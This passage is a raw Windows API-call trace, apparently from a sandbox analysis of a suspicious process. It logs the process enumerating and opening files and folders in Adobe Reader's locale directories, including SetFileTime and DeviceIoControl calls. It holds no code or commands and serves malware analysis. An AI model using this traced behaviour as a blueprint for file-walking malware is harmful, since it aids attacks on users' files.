hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.PTB", cAlternateFileName="")) returned 1 [0082.435] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.PTB", cAlternateFileName="")) returned 1 [0082.435] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.PTB", cAlternateFileName="")) returned 1 [0082.435] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.PTB", cAlternateFileName="")) returned 1 [0082.435] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.PTB", cAlternateFileName="")) returned 1 [0082.435] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.PTB", cAlternateFileName="")) returned 1 [0082.436] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.PTB", cAlternateFileName="")) returned 1 [0082.436] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.PTB", cAlternateFileName="")) returned 1 [0082.436] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f876820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x150600, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.PTB", cAlternateFileName="")) returned 1 [0082.436] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.PTB", cAlternateFileName="")) returned 1 [0082.436] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.PTB", cAlternateFileName="")) returned 1 [0082.436] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.PTB", cAlternateFileName="")) returned 1 [0082.436] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.PTB", cAlternateFileName="")) returned 1 [0082.436] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.PTB", cAlternateFileName="")) returned 1 [0082.436] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.436] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.437] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0082.437] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.437] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.437] NtClose (Handle=0x168) returned 0x0 [0082.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x128ad58) returned 1 [0082.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128ad58 [0082.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128ae60 [0082.438] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0082.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fab, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128af68 [0082.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c428 [0082.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128b070 [0082.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c448 [0082.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128b178 [0082.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.442] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.442] GetLastError () returned 0x12 [0082.442] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0082.442] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.442] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.442] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fab, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.442] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.442] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.442] GetLastError () returned 0x12 [0082.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x128ae60) returned 1 [0082.442] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x128af68) returned 1 [0082.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x128ad58) returned 1 [0082.443] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.PTB", cAlternateFileName="")) returned 1 [0082.443] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.PTB", cAlternateFileName="")) returned 1 [0082.443] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.PTB", cAlternateFileName="")) returned 1 [0082.443] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.PTB", cAlternateFileName="")) returned 0 [0082.443] GetLastError () returned 0x12 [0082.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.443] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.443] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro_RO", cAlternateFileName="")) returned 1 [0082.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.444] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.444] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0082.444] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0082.444] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.445] NtClose (Handle=0x16c) returned 0x0 [0082.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.445] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0082.447] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.447] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.RUM", cAlternateFileName="")) returned 1 [0082.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c468 [0082.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128ad58 [0082.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.449] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.RUM", cAlternateFileName="")) returned 1 [0082.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.450] 